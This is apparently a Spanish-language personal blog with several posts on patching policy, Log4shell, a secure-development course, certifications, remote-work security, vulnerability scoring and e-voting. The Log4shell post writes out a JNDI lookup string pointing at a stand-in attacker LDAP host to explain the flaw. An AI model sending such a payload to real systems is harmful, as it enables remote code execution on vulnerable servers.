Eternal Blue es un ciberataque que encarnado en el ransomware Wannacry es la prueba viviente. En abril de 2017 The Shadow Brokers la publicó tras habérsela robado a la NSA, que la había descubierto cerca de cinco años antes. En mayo de 2017 fue la primera oleada de ataques de la mano del ransomware Wannacry. En marzo de  2017 Microsoft publicó el patch, advertidos por NSA. Casi dos meses transcurrieron desde la disponibilidad del parche hasta su explotación masiva. Una política proactiva de actualización la hubiese convertido en Wannabe.
 

No he oido de explotaciones masivas de Log4shell, algo se ha aprendido desde Wannacy, pues hasta donde he sabido las políticas han sido más o menos:
 

  • En el perímetro se detecta y bloquea cualquier intento de explotación y postexplotación, rápido.
  • Se dan de baja aplicaciones.
  • Se actualizan las librerías.
  • Se aplican mitigaciones por configuración.

 

Estas dos últimas medidas pueden parecer quizás un tanto desprolijas, pero para hacerla correctamente hay que usar Talentos, lo cual hubiese sido un desperdicio.

Hay que aplicar los parches con la única consideración de que los sistemas sigan funcionando, no si hace falta. No va más “si funciona no lo toqués”, ni siquiera hay que esperar a que se detecte que un componente tiene una vulnerabilidad para actualizarlo. Hay que hacerlo permanentemente, quizás no el mismo día que sale cada parche, pero si con una frecuencia muy alta.

Eso pulirá los mecanismos de los equipos de DevOps para afrontar cualquier actualización de urgencia real.
 
Se parece un poco al sistema Chaos Monkey de Netflix, donde a propósito se voltean al azar componentes en producción para forzar a que el sistema de conjunto sea resistente a fallas.

Una deuda, razonable y con paralelismo en Kanban es la de los vulnerabilidades de bajo impacto, equivalentes a las tareas de baja prioridad. En Kanban incluso existe un mecanismo de purga del backlog con el criterio de que si pasaron tantos meses y no se han resuelto ciertas tareas de baja prioridad, entonces no deben tener tanto valor y si lo tienen, renacerán pronto. La vulnerabilidades de bajo impacto que no son resultado de la construcción de nuestro sistema, o sea, las de librerías de terceros y sistemas operativos de soporte, del mismo modo persisten meses o años, pero tienen una diferencia, si se aplica al política de actualización permanente, simplemente disminuirán drásticamente de la mano de las importantes, sin que las hayamos atacado explícitamente.

No me gustan los KPIs, pienso que son dimensiones sacadas de la galera, yo elaboro unos, otra persona otros, seguramente incompatibles e incongruentes. Representan los intereses de distintos Product Owners que quizás estén en conflicto de intereses. No importa, los podemos poner a nuestro servicio, debemos tener menos de tantas vulnerabilidades por equipo, de acuerdo aunque desde el punto de vista del Talento parece ser una muestra de ceguera atroz. Una vez que se reducen los números, podemos recuperar el Talento y comenzar a pensar como atacar las vulnerabilidades más especiales.

El uso de los KPI y la aplicación de parches aparentemente con poca inteligencia, es economía de escala.

2021/12/27

Diplomatura de Desarrollo Seguro de Aplicaciones de la UNSTA 2021

En estos tres o cuatro meses he tenido el placer de ser alumno y docente de la Diplomatura de Desarrollo Seguro de Aplicaciones de la UNSTA.

 

La convocatoria

 

La organización me contactó para ver si podía dar una "charla magistral" de una hora y media de algún tema interesante y llamativo. Pensé un rato y ofrecí, en consonancia con lo que vengo haciendo últimamente, algo de seguridad de hardware. En la conversación fue creciendo y finalmente se convirtió en una materia de 9 horas.

 

Evidencia en LinkedIn
Evidencia en LinkedIn

 

Todo un desafío, nunca había dictado algo así antes. Había conversado con la organización de los cursos del Laboratorio de Sistemas Embebidos de la Facultad de Ingeniería de la Universidad de Buenos Aires (CESE, CEIoT), donde soy docente de Ciberseguridad en IoT y, no sé si seguirá existiendo, Testing de Sistemas IoT, la posibilidad de organizar una materia optativa de esta misma naturaleza, pero medio que más que ofrecerlo lo estaba pidiendo. O mejor dicho, algún tipo de "colaboración", con algunas otras personas para armarlo y que mi rol sea más "seguridad pura" que de los aspectos más técnicos del hardware. Pero debido a que es un esfuerzo infernal, son cursos orientados a alumnos de posgrado, los docentes suelen estar extremadamente ocupados y en promedio son más responsables que yo, no se sentían capacitados y no prosperó.

En las diplomaturas la ventaja es que las condiciones de aceptación de alumnos es un tanto más relajada y la exigencia general también. Un indicador sencillo es que una diplomatura como ésta o como otra que he hecho de Seguridad Bancaria, tiene una carga de 100 horas, dos a cuatro clases por materia. 

Los otros cursos tienen 15 materias de 8 clases cada una, son 24 horas cada materia, 360 horas en total. Incluso la carga semanal es un 50% mayor, dos contra tres días por semana. Cada materia suele tener unos ejercicios heavies y se espera que el trabajo práctico consuma unas 600 horas/persona, aunque no necesariamente sean todas tuyas, vale dirigir el trabajo de otras personas.

Respecto a la carga horaria del TP de esta diplomatura, calculo que si estuviste haciendo los ejercicios durante la cursada debe ser leve, pero si lo hubiera hecho completo yo solo me hubiera llevado hasta 40 horas.

Volviendo a mi participación como docente, me encontré con el siguiente FODA, un poco retrospectivo pues en ese momento aunque intuitivamente lo apliqué no lo llegué a concientizar:

Fortalezas

Experiencia en dar clases, experiencia en investigar seguridad de hardware aunque quizás de un modo un tanto esotérico, experiencia en ciberseguridad. Equipamiento de hardware apropiado.

Oportunidades

Poner a prueba el conocimiento que vengo juntando desde hace décadas. Identificar baches.

Debilidades

Conocimiento fragmentario e incompleto, desconocimiento de normas y electrónica en general. Falta de orden.

Amenazas

No llegar en tiempo y/o forma y pasar vergüenza ante los alumnos y/o la organización.

 

Preparativos

 

En las H4CK3D y en muchas charlas internas del trabajo ya había expuesto del tema de modo fragmentario y continué haciéndolo hasta antes e incluso después de las clases.

Tomé en simultáneo la materia Micro Arquitecturas y Soft Cores del CESE, que aunque no tenía relación directa, forma parte del conocimiento de base.

 

Resultados 


Tuve muy poco feedback, sin sorpresas ("te falta un poco de orden"), no tuve la sensación de haber fallado en las dos primeras clases, quizás la tercera estuvo floja pero más por mis expectativas, no sé si se notó "para afuera". Me había propuesto mostrar una demo de Secure Boot con ESP32-S pero en parte por que no llegué a hacer las pruebas y en parte por que no le encontré que fuera realmente interesante, sólo lo expliqué en términos teóricos.

De algún modo no logré un "relato", el poder recorrer los temas de un modo hilvanado. En las charlas que doy pego saltos, que te obligan a prestar demasiada atención, imposible a lo largo de tres clases, te olvidaste. Las charlas son para gente que eligió ir específicamente (igual alguien se ha quejado), en las clases, aunque no falte a quien le interese mucho, hay que considerar que para la mayoría es una de diez materias y no precisamente la más útil o interesante.

Otra dificultad es que de todas las otras materias he recibido capacitación, tiene un poco del ¿Para qué hacés un curso de algo que ya mayormente sabés? que ya he mencionad en otro lado y para esta materia no, todo muy fragmentario y autodidacta.



Como alumno


En mi condición de docente tuve grandes facilidades económicas para ser alumno, con lo cual no fue una elección muy difícil, en todo caso si la experiencia era mala, salía con un título de utilidad moderada. La verdad es que no conocía a nadie, ni sus cualidades o defectos, es la primera edición, aposté y salió bien.

Siempre hay alguna clase que por el tema o el modo de quien la dicta es un poco más aburrida y otra más entretenida, pero no ocurrió ninguna vez que me arrepintiera. No hubieron clases malas y sí hubieron clases muy, muy buenas, lamentablemente no tomé nota, siempre confiando en que luego se puede acceder a las presentaciones y confiando de modo completamente injustificado en mi memoria.

Hubo una cierta falta de coordinación entre las materias, algunos temas se vieron repetidos, no es tan terrible, es bueno el repaso. Pero algunos temas como que se escaparon, igual nada grave.

Si se repite, si los tiempos me dan, si me dejan, probablemente asista como oyente, esta vez tomando notas.

Las clases quedan grabadas, pero la verdad es que no me gusta ver grabaciones.

 

El trabajo práctico

 

Para quienes no estamos programando todo el día y más web, fué bastante heavy. Además llegó un poco tarde y en mi caso coincidió con que como docente tenía que terminar de preparar las clases, como alumno de otra materia en otro lado tenía que terminar su trabajo práctico, un fondo de ojo que me dejó muerto justo el día de la entrega, log4shell me dejó agotado cada día de esa semana y la anterior, el día del asado del trabajo y que dí una charla de Chain of Trust y Secure Boot en el trabajo aprovechando parte del material que había usado para las clases.

Tampoco ayudó, en mi caso, un poco de actitud liebre y tortuga, liebre en mi caso. Ya que cuento con experiencia tanto en desarrollo como en seguridad, medio que aflojé un poco. Pude haber canibalizado un trabajo práctico a medio hacer del CEIoT pero me dá un poco de vergüenza y además necesitaba hacer un reajuste mental de varios días, hace meses que no toco programación web y node.

Estaba compuesto de varias partes, una relacionada a bases de datos y enmascaramiento, otra de obtener información de una virtual vulnerable, la tercera corregir una aplicación y la cuarta,  más grande que las otra dos juntas, era hacer una API, agregarle autenticación y con tests de Postman mostrar su seguridad, todas cosas que sé hacer pero en este momento no estoy "sintonizado", mi cerebro está en FPGA.


Conclusión

 

Para decirlo del modo más corto posible, espero con ansia que se repita para que asistan las personas a las que invité en esta ocasión pero por haber sido con tan poco tiempo de aviso no pudieron asistir. Y por el lado docente, para tener la oportunidad de mejorar las clases. En términos de inversión, paga, quizás no como título pues es una Licenciatura, sujeto a interpretación, pero el resto está ok.

La profundidad y extensión de los temas fue correcta así como la calidad. Me hubiera gustado tener más feedback de mi materia.



2021/12/20

Reflexiones log4shell

Todo el mundo está desesperado, toca opinar de log4shell.

Breve explicación

 

Considerá que aunque he sabido programar en java no soy javero y menos con sistemas medianamente complejos que utilizan log4j. Mejores explicaciones hay por todos lados, esto es lo más corto y útil que puedo producir, pero quizás no sea del todo cierto.

Log4j es un framework de logs de java. Recibe mensajes y de algún modo los envía a algún lado, archivo, syslog, lo que sea. En el medio le hace transformaciones como agregar metadata. Por ejemplo para agregar la versión de java, se hace así:

 

${java:version}

 

Lo cual es completamente útil y legítimo. También es útil y legítimo utilizar JNDI (Java Naming and Directory Interface) que puede consultar al menos a LDAP y traerse un objeto. Ya se empieza a poner turbio. 

Un atacante puede suponer qué es lo que se está dejando en el log, por ejemplo "username" y poner como "username" algo como:

 

${jndi:ldap:servidoratacante.com/exploit}

 

No me quiero meter en detalles pues las URLs que he visto son un poco distintas. Dejo esa pues me armé una POC con jetty y log4j 2.14 y marshalsec como ldap y hay hits. Quizás no sirva para explotar pero si para detectar la versión vulnerable.

Volviendo a la URL, de algún modo se bajaría una clase compilada java con el comportamiento deseado por el atacante. No me queda aun del todo claro si lo baja directamente o es una referencia a otra url, pero en función de mis reflexiones es irrelevante. Si más adelante le dedico tiempo y lo resuelvo bien, cuando haya pasado la tormenta publicaré.

 

Reflexión: respuesta al incidente


Seguramente ocurrió con otras vulnerabilidades, pero es la primera vez que lo noto, el efecto "double-tap strike".

Le he asociado este nombre pues de algún modo lo veo parecido a un ataque y su repetición, el primero para atraer a los equipos de respuesta y el segundo para los equipos de respuesta, dejando de lado que acá no hay ataque, es sólo una vulnerabilidad, pero el requerimiento de las áreas de ciberseguridad a las de desarrollo e infraestructura para que la solucionen bien puede verse como tal.

Ha ocurrido que la gente de devops ha salido corriendo a actualizar a 2.15, lo cual implica trabajo, sólo para encontrarse con que inmediatamente debe pasar a 2.16 y mientras escribo esto a 2.17. Aunque es verdad que el impacto de analizar el cambio de 2.x a 2.15 o 2.16 ya está hecho, de todos modos es un retrabajo.

Lo que hay que tener en perspectiva, es que es más importante salir de 2.x que llegar a 2.16 o 2.17, pues las vulnerabilidades de 2.15 y 2.16 tienen mucho menor impacto que las de 2.x... por ahora.

 

Reflexión: la configuración


El haber actualizado no alcanza, pues no hay una vulnerabilidad en los mecanismos que se están utilizando, sólo que la configuración por defecto tiene esos mecanismos habilitados. O sea, debe haber alguien que está utilizando de modo legítimo:


 ${jndi:ldap:servidor.legitimo/funcionalidad}

 

De modo tal que al pasar a 2.15 - 2.17 va a tener que cambiar la configuración para que le siga funcionando.

A menos que hubiera cambiado antes la configuración de modo explícito, en cuyo caso en la 2.15 - 2.17 va a seguir activo el bug, ¿no?


Entonces, aunque claramente es correcto actualizar, la realidad definitiva está en probar o al menos buscar opciones de configuración que activen la vulnerabilidad. 

Esto se reduce a  ¿qué pasa si le estás dando un uso legítimo a esa funcionalidad?

Quizás la mejor solución sea como el tratamiento de eval() de varios lenguajes, esto es, pedirle al intérprete que tome texto como código y lo ejecute: No usarlo e implementar otra forma para resolver tu requerimiento.

 

Actualización

 

Con la versión 2.17 se eliminó completamente la funcionalidad, no hay configuración que valga.


https://logging.apache.org/log4j/2.x/


2020/10/03

El sesgo de las certificaciones

Daré contexto para mostrar que no es el resentimiento de no poder hacer una certificación lo que guía mis palabras sino unas ciertas condiciones que sí me provocan resentimiento. Estoy considerando rendir una pronto, publico esto antes por si las dudas me va mal, no quede ligado a ese fracaso.

 Tambien que se trata de pura especulación, no soy experto ni siquiera "associate" de los temas involucrados.

 

Contexto


He tomado una sola certificación, hace 20 años, si no fui el primero fui el segundo del pais, CCNA, lo tomé en ingles lo cual me dio tiempo extra y en menos de ese tiempo extra lo resolví.

Dicho de otra manera, tenia 90 minutos para el examen y 45 adicionales por no tomarlo en mi lenguaje nativo y lo resolví en menos de 45, siendo estos números aproximados.

Creo recordar que el acuerdo de confidencialidad decía que no podía decir que nota había sacado, me imagino que debía ser para no relevar que casi todos sacamos notas muy altas, si a todos nos va muy bien podemos sospechar que el examen es una truchada. Igual fijate que dije "casi".

Contrastando, en la materia Algoritmos 2 con Mandrafina de FIUBA, el examen duraba cuatro horas, de las cuales media correspondía al docente explicar de qué se trataba el examen, que era prácticamente igual al trabajo práctico grupal.

Cuando vas a dar una certificación dice que no podés llevar absolutamente nada, ni siquiera lápiz y papel en blanco. Esto es para la presencial, para la "proctored" ok, es una circunstancia especial, hay múltiples maneras de copiarse, pero si estás ahí y hay alguien mirándote, ¿cuál es el motivo de no poder escribir y dibujar para organizar tu pensamiento?

¿Qué no te lleves información del examen? ok, entregás todo lo que hayas escrito, no hay problema con eso.

Según había leido hace mucho tiempo, hay distintas maneras de representar ideas en tu cabeza, siendo las más comunes mezcla visual y palabras, mayormente visual y sólo palabras.


+-------------+-----------------+--------+
|    muy      |      mezcla     | solo   |
|   visual    |                 |palabras|
+-------------+-----------------+--------+
|     30%     |        45%      |  25 %  |
+-------------+-----------------+--------+


De hecho, se recomienda siempre al enseñar o explicar algo utilizar imágenes.

Me ha contado una persona que a veces se habla a si misma para comprender un problema, lo cual no está permitido en este tipo de examen.

Y si diéramos crédito a la teoría de las inteligencias múltiples, de las doce mencionadas, supongo que tres (Lingüístico-Verbal, Lógico-Matemática, Visual-espacial) estaríamos usando en un examen y una de ellas reprimida.

De un modo u otro, todo me lleva a pensar que estas restricciones segregan a un tercio de la población directamente y quizás un quinto extra, favoreciendo desde un cuarto hasta poco más de la mitad de la población, pues supongo que la mezcla es gradual.

¿Se trata de un daño colateral producto de factores económicos?

  • Cuanto más restrictivo, más barato es el examen
  • Se impide la fuga de información de las preguntas para que no te puedas preparar mejor para la próxima vez

Este segundo factor tambien favorece a quienes tienen buena memoria, independientemente de su capacidad analítica, pero esto ya viene de arrastre de antes al tratarse de un examen y no un trabajo práctico.

Distingo una certificación, o sea, pura medición de modo quizás indirecto de que tenés experiencia en un tema de un examen, como el resultado de una prueba tras un curso, dónde quien lo dicta tiene oportunidad de ajustar el resultado pues ha visto tu desempeño y evolución.

Tambien he aprendido mucho no sólo preparando exámenes sino en el momento mismo de darlos y una certificación es una muy buena excusa u oportunidad para estudiar e investigar.

La verdad es que en cualquier situacion de la vida real, nadie me va impedir usar papel o hablar solo y para el caso tampoco consultar un libro u otra persona, pero ok, aceptemos las dos últimas restricciones como razonables para una situación de examen o certificación.

Sin embargo, algo que he hecho en algún examen de física ha sido, partir de una formula (no recuerdo cuál), desarrollar todas las relacionadas en una hoja aparte, para así durante la resolución sacarme ese problema de la cabeza.

En un examen de AWS probablemente me haría un grafo relacionando servicios, pues es una selva interminable y muchas respuestas dependen de recordar la existencia de esos servicios.

Hasta acá no he dicho nada que no haya sido dicho y discutido antes. Incluso podría estar de acuerdo, que no lo estoy, que un examen de respuestas múltiples es una manera correcta de medir si es que se puede realmente medir.

La verdad verdad es que no me importa mucho, incluso este tipo de exámenes me favorece, pues según he comprobado me va mejor que responder al azar incluso en temas que aún no conozco, como que veo la correlación entre las preguntas y puedo deducir por consistencia las correctas.


 

Por fin al grano 


Lo que si me intriga es si habrá además alguna correlación entre el modo de pensar no visual y otras características de las personas aprobadas que puedan ser útiles de modo directo o indirecto:

  • empatia
  • escrúpulos
  • solidaridad
  • obediencia
  • imaginación

Y de haberla, si esta correlación ha sido descubierta y es usada.

Lo único que se me ocurre es, supongamos que pensar de modo solo palabras está asociado a la falta de imaginación y muchísimas de las certificaciones son para herramientas que requieren sentarse y seguir procedimientos más que tener creatividad.

 

Dejo este tema a quien tenga la formación, experiencia y certificación para tratarlo...

2020/03/21

Consideraciones de ciberseguridad y coronavirus

Con el asunto de las cuarentenas de coronavirus, comparto algunas reflexiones, algunas con conocimiento de causa, algunas de mi sentido común ciberseguro resultado de mi profesión. Pese a que me había prometido evitar las notas poco técnicas y teñidas de opinión como va a ser esta, me parece que la situación lo amerita.

Esto no es una guía o manual de trabajo y estudio remoto, sólo algunas ideas rápidas que pueden ser útiles. Al no ser muy técnica tambien está orientada más al usuario final que a quien deba armar soluciones.

Cuando digo conferencia me refiero de modo genérico a conferencia, charla, clase, reunión o lo que sea en que varios participantes intercambian streams de audio y video, provenientes de una cámara o de la pantalla.

Si en el correr de los días de la cuarentena ocurre algo interesante, actualizaré.

Primero lo más evidente:

Atención al phishing y las estafas



Han habido estafas que se han aprovechado incluso de las torres gemelas, esta es una oportunidad tan buena como cualquier otra.




Servidores de conferencias


¿Propio o ajeno? ¿cloud u on premise? Si te lo instalás en tu propio servidor (que puede ser cualquier máquina, sólo hace falta que tenga IP pública, no necesariamente fija), el problema que tenés es que ante un ataque dirigido probablemente seas presa fácil, pero ante esquemas de vigilancia generalizada estás mejor, sobre todo si el tráfico está cifrado. Un ataque a un servidor ajeno en cloud tiene la ventaja de que probablemente afecte a innumerables otras personas y empresas, con lo cual el impacto se distribuye, si no sos importante, vas a estar abajo en la lista de explotación.


El cifrado puede ser:

Inexistente: cualquiera con acceso al tráfico que conozca los protocolos y formatos utilizados puede escuchar.

Entre servidor y cliente: el servidor determina las keys utilizadas, es su elección inspeccionar o grabar las conversaciones.

End-to-end, esto es, entre cada cliente: el servidor no entiende las conversaciones.

Sin duda el cifrado aumenta la latencia y el procesamiento, no sé si lo hace de modo significativo.

Lo más probable es que no te importe mucho y termines en google algo o zoom.

Documentos compartidos


Quizás antes no tenías que hacerlo tanto, pero seguramente ahora sí, compartir documentos con terceros. Fijate que hay opciones de acceso, evitá como la peste "todo el mundo" y "cualquiera con acceso al link", a menos que sea tu propósito.

Tambien reducí el acceso de "total" a "lectura" o "comentarios" según corresponda y explorá la posibilidad que al menos google ofrece de no permitir copiar ni salvar, pero no cuentes con eso, siempre se pueden sacar fotos de pantalla desde la compu o afuera.

Tené en cuenta que al estar accediendo a un documento compartido otras personas que accedan simultáneamente te verán y quizás no querías divulgar esa información.

Redes sociales y chats


Imaginate que estás compartiendo tu pantalla con gente de tu organización y de otra y alguien de la otra organización es muy infla pies y alguien de la tuya te hace un comentario al respecto. Y aparece abajo a la derecha el mensajito "qué pesado que es Estaban!!". ¡Qué momento incómodo!


Mitigación: desactivar notificaciones.

Mitigación: virtualizar, el uso de una máquina virtual en una conferencia tiene el efecto colateral extra de evitar los popups con mensajes si tenés las cuentas separadas.

La responsabilidad


Cuando entré a mi trabajo de ciberseguridad, que en ese momento se llamaba de otra manera, una de las primeras cosas que me enseñaron en los pasillos fue: "Siempre cuidate el trasero". No fué exactamente con esas palabras, te podrás imaginar...


Si tu organización te da unas herramientas de acceso remoto, usá esas y no otras, si algo sale mal, siempre podés decir "yo seguí los lineamientos dictados". Puede parecer señal de cortedad de entendederas, pero que tu astucia no te haga ser instrumento de un ataque.

Si hay alguna actividad que no podés hacer o es muy incómodo o te lleva mucho tiempo de modo remoto sin violar las reglas de la organización, no la hagas, mala suerte, elevá y que la organización resuelva.

Que no te pase como a alguien que me contaron que puso su número personal de celular en el contestador del trabajo como contacto de emergencia siendo una persona sin rango ni responsabilidad por que el dueño no puso el suyo.

Registro


¿Vas a querer que lo ocurrido quede registrado o no? Si así lo deseás, no olvidés revisar y activar las opciones que la plataforma te brinde. Está bueno hacer algunos ensayos hasta dominar esas opciones a encontrarte con que perdiste el registro.

Si perdés le registro, decimos que afecta a la Disponibilidad de la Información.

Si no deseás que haya registro, no hagas la actividad, ya que no importa lo que la aplicación te prometa, que no almacena, que borra, con una simple cámara de video apuntando a la pantalla de cualquier participante va a haber registro.

La Confidencialidad de la Información abarca al registro no deseado, una vez que ésta es comprometida, tambien lo es el registro. Si te preocupa la confidencialidad sobremanera, no hagas la actividad.


Amo de mis silencios, esclavo de mis palabras.


Pérdida colateral de información


Tenés que detectar toda la información que estás compartiendo, evaluar que aporta compartirla y en qué te afecta. Si no aporta, aunque no te afecte, no la compartas, no sabés si en el futuro lo puede, ese banderín de tu partido o tu arco iris de respeto de género se te puede cobrar si los vientos cambian.

...o el afiche de New Kids on The Block...


La experiencia más imporante de pérdida accidental de información que he presenciado es que es común mostrar en pantallas compartidas en vivo credenciales, por lo general de acceso a alguna aplicación o a la plataforma de conferencias.


Mitigación: usar keepass o similar, que permite copiar y pegar url, usuario y clave sin que se muestren en pantalla y además tras unos segundos se borra del portapapeles el dato, reduciendo la posibilidad de pegarlo accidentalmente luego. Es lo mejor ya que las claves están cifradas y la ventana de ataque dura desde que se copia el dato en el portapapeles hasta unos pocos segundos despues.


Mitigación: esta es la más, usar fondo del mismo color que la letra para que no se vea accidentalmente. Es un excelente ejemplo de camouflage, seguridad por oscuridad. Aunque es increiblemente inseguro, es muy efectivo contra el escenario de exposición accidental, observá:

Usuario: el usuario
Clave: la clave

Ahora pintá el texto, si no está pintado no se vé, no sale en capturas de pantalla, videos, streaming. Este invento se debe a la gente de CESE/CAPSE/CEIoT.

Un aspecto extra de pérdida de información es que estás mostrando los contenidos de tu máquina. He visto varias veces que alguien busca en su sistema de archivos algo para mostrar y de paso vemos nombres de proyectos y empresas que quizás no era la idea mostrar.



Mitigación: armar una máquina virtual con la información necesaria para la conferencia. Si algo falta, suspender el modo compartido, transferirlo y retomar.


Otro aspecto es qué estás mostrando en el fondo de tu cámara o el ruido ambiental del micrófono. Podés estar revelando información personal, caras de familiares, gustos, composición familiar.

Mitigación: elegir el fondo de cámara, acordar si es posible con el resto de las personas habitantes que no se acerquen ni manifiesten. Ya sé que en lugares pequeños o en ciertas circunstancias de cuidado con niños se dificulta, pero la idea es hacer la evaluación aunque luego no puedas cumplir.

Hay un reflejo que he notado que es ocultar rápido lo que ha sido expuesto accidentalmente. No tiene mucho sentido, si hay registro basta pausar y con que haya quedado en al menos un cuadro, ha sido perdido.

Hay que cambiar las credenciales.

Más sobre esto he escrito en antes y antes.

En pocas palabras...

  • Evaluar la información que se va a compartir de modo directo e indirecto.
  • Usar protección de credenciales.
  • Actuar ante detección de falla.
  • Virtualizar para reducir exposición de información.
  • No correr riesgos que no te paguen.

 

Reflexión final


Nunca olvides que los grandes líderes y empresarios VIAJAN para resolver sus chanchullos, esto no es sólo por la ventaja del cara a cara, donde pueden seguir el lenguaje corporal, si no por que tienen el control real sobre la situación, pueden tener conversaciones realmente confidenciales y sin registro.

Por más que exista un producto carísimo que provea confidencialidad, no olvides que no lo hiciste vos, por que te dedicás a otra cosa y aunque te dedicaras probablemente lo harías mal.




Ya sé, ya sé que vos y yo somos perejiles, pero los fenómenos mejor se comprenden en las situaciones extremas.


2019/08/14

Tres dimensiones extra en la evaluación de vulnerabilidades

Esta entrada es una actualización y extensión de algo que escribí hace rato. No quiero repetir lo que ya había dicho, pero como es bastante largo, haré un resumen. En el artículo original entro en mucho más detalle y agrego unas interminables reflexiones.

El tema es que en las fórmulas que suelo ver hay dimensiones como:

  • Cercanía al objetivo (CVSS v3)
  • Impacto de Confidencialidad, Integridad y Disponibilidad (todas).
  • Facilidad/complejidad/costo/reproducibilidad del ataque (DREAD)
  • Interacción con usuarios (CVSS v3)

En particular DREAD contempla "usuarios afectados", pero en términos cuantitativos. La primera dimensión que me resultaba interesante es entonces "tipo de usuario afectado", que apunta a la calidad. No en términos de cambio de permisos, escalamiento, eso ya lo tiene de algún modo CVSS v3 con "Scope". Me refiero a que no es lo mismo comprometer a un cliente, un empleado raso, un adminstrador de sistemas, un director. Dependiendo del objetivo y el tipo de persona afectado puede producirse fuga de información, transferencias de dinero, acceso a planes estratégico.

De algún modo está en "environmental" de CVSS v3, pero no produce un texto acompañante más expresivo tipo:

"La vulnerabilidad permite tomar el control de los nodos bajo Plan 9, que es lo que usan los administradores de sistemas".

La segunda tiene que ver con la responsabilidad: es algo mío o de un tercero. ¿Es una mala configuración mía o estoy usando una librería o componente fallado? ¿Es en mi sistema o en el sistema del cliente? En el caso de XSS, quizás el navegador es tan viejo que no puedo protegerlo completamente.

Otro ejemplo es uso repetido de credenciales por parte de los usuarios en distintos sistemas. Por más que yo le pida una credencial fuerte y limite los intentos, no tengo casi control, salvo pedir regeneración periódica, que si mal no interpreto el NIST no está del todo de acuerdo. Fijate que dice:


"Do not require that memorized secrets be changed arbitrarily (e.g., periodically) unless there is a user request or evidence of authenticator compromise."

La nueva


La tercera es "quién reporta" tiene que ver el tratamiento hacia quien ha efectuado y comunicado el hallazgo.



Si descubro la vulnerabilidad yo mismo, no pasa nada, no es público que yo tenga esa vulnerabilidad, no tengo que dar una respuesta por fuera del circuito o procedimiento de resolución.

Si esta vulnerabilidad figura en un boletín o en CVSS por que se trata de un componente ajeno, si es público que la tengo, pues al atacante le alcanza con saber que tengo el componente.

Si es por resultado de un Pentest y es propia, estamos entre pares. Seguimos dentro del contrato. Me tengo que ocupar sin duda pues si el Pentest la encontró en un sistema productivo, un atacante probablemente tambien lo haga.

Queda el caso de que un usuario o investigador independiente reporte, que es muy distinto y marca el máximo valor de esta dimensión, que puede tener muy importantes implicancias de impacto de imagen, daño reputacional.


Con un poco de suerte, el investigador independiente se puede manejar con Responsible Disclosure: tenés este problema, confirmalo y decime cuando lo vas a arreglar para darte tiempo antes de hacerlo público.

El usuario simplemente avisa y si no se le da respuesta quizás insista, quizás se olvide o quizás difunda en una red social "avisé y no me dieron respuesta o no lo arreglaron" y eso produce daño reputacional, aunque la vulnerabilidad haya sido un falso positivo.



Estas dimensiones o la visión que propongo quizás sea un poco menos "científicas" de algún modo, pues son menos cuantificable. Pero me parece que es un agregado más práctico, más de oficio. De todos modos no es un reemplazo, es una extensión al análisis.



2016/10/29

Voto electrónico, no


No estoy en contra del voto electrónico por los negociados...


...que puedan haber. Bien puede haberlos, aunque sin duda de mayor magnitud que con boleta de papel. No hace mucha diferencia.

No estoy en contra del voto electrónico por las vulnerabilidades...


...que se detectan y se intentan reportar desde ya hace un año. Respeto, aprecio y respaldo el esfuerzo de tantos por mostrarlas frente al olímpico desprecio de los actores involucrados...

...ni por motivos técnicos o del proceso de desarrollo...


...pues existe la posibilidad teórica de implementar un sistema suficientemente robusto, abierto, auditado y corregido por gente muy capaz.


No estoy en contra del voto electrónico por el fraude...


...que pueda impedir o facilitar. En última instancia, si un sector importante decide hacer fraude, lo va a lograr independientemente de la tecnología usada. Cuando no habían computadoras, había fraude contable, ahora que hay computadoras, hay fraude contable. No hace mucha diferencia.

No estoy en contra del voto electrónico por que no lo audite yo...


...pues no tengo el conocimiento necesario.

No estoy en contra del voto electrónico por el secreto de voto...


...pues es parte de la resolución técnica del problema.

...entonces, ¿por qué no?


Aunque esté correcta y transparentemente implementado, eso es sólo ante nuestros ojos, la gente técnica, los que con mayor o menor medida contamos con el conocimiento y los medios para poder comprender los mecanismos involucrados.

El 99.99% de la población en condiciones de votar puede comprender que si lleva una boleta en el bolsillo desde su casa, la pone en el sobre en el cuarto oscuro y se queda un rato para comprobar que nadie abra la urna, puede estar bastante seguro de que su voto fué secreto.


Yo estoy dentro del 1% que a grandes rasgos podría comprender como se lograría un efecto similar con computadoras.

Estoy fuera del 0.1% que realmente comprende.

Y mi conocimiento e instinto me dicta que no existe la manera de lograr el voto secreto electrónico fuera de un laboratorio.

PD: me olvidé que...


...no estoy a favor de enunciar los requerimientos como hizo SADIO [1] pues ¿qué hacemos si se cumplen?

...y que digo "voto electrónico" pero vale para "boleta electrónica".

Detalle extra de voto encadenado acá.

[1] http://www.sadio.org.ar/inicio/aportes-al-debate-sobre-voto-electronico/


2015/07/15

Boxeadores en la cabina de un avión



No se si es leyenda urbana o realidad el que a los boxeadores de cierta categoría se les prohibe pelear fuera del ring, se los considera armados. Suena razonable que tenga algún tipo de restricción alguien que te puede matar de una piña.

Si es historia el caso del famoso hacker Kevin Mitnick[1] a quien se le prohibió usar computadoras y teléfonos dada su capacidad de utilizarlos para cometer delitos.

A la luz del mediático caso de la chica en la cabina, cuyo nombre no citaré dado que los abogados son muy creativos, me parece que una restricción similar se debería aplicar a ciertas personas en relación a su atractivo físico.

No sé cuantas mujeres puedan comprender realmente este punto de vista que la mayor parte de los hombres si no comprenden, al menos sufren. Lo cual no es atenuente: esos pilotos sean bastante pelotudos.

Si la invitaron a la cabina es como si hubieran provocado a Tyson, son unos insensatos suicidas.

Si ella tomo la iniciativa, se debería considerar que en las simulaciones, además de los escenarios como "fallo en motor 2", halla que agregar "entra vedette a la cabina"

Hechos como este lo más probable es que no sean inusuales[2], la diferencia es que fue durante una maniobra delicada y que quedó filmado. Ahí está la clave, la evidencia.

Echando a los pilotos lo que se gana es "no seas pelotudo, no filmés", que es un punto de vista completamente legítimo para los actos privados. Apuesto a que aunque ahora es imposible entrar a una cabina, en unos pocos meses esto pasará al olvido y volverá la normalidad.

Si los pilotos brindan capacitación, contando su experiencia, quizás se puede rescatar "no seas pelotudo, no hagas pelotudeces". Además pagarían su deuda pasando vergüenza delante de centenares de otros pilotos. Tambien hay que recordar que "los conversos son los peores" y tras semejante cagada, no tienen mucha opción, ¿no?

Me pregunto que pasaría en el caso inverso, un galancillo entrando en la cabina de una tripulación femenina.

Quizás la solución de fondo es que las tripulaciones sean mixtas.

¿Qué tiene que ver esto con Seguridad y Agile? Mmmh, se complica. La verdad es que me gustó la comparación con el boxeador y lo de la simulación, le escribí todo esto alrededor como para que no sea un twitt.

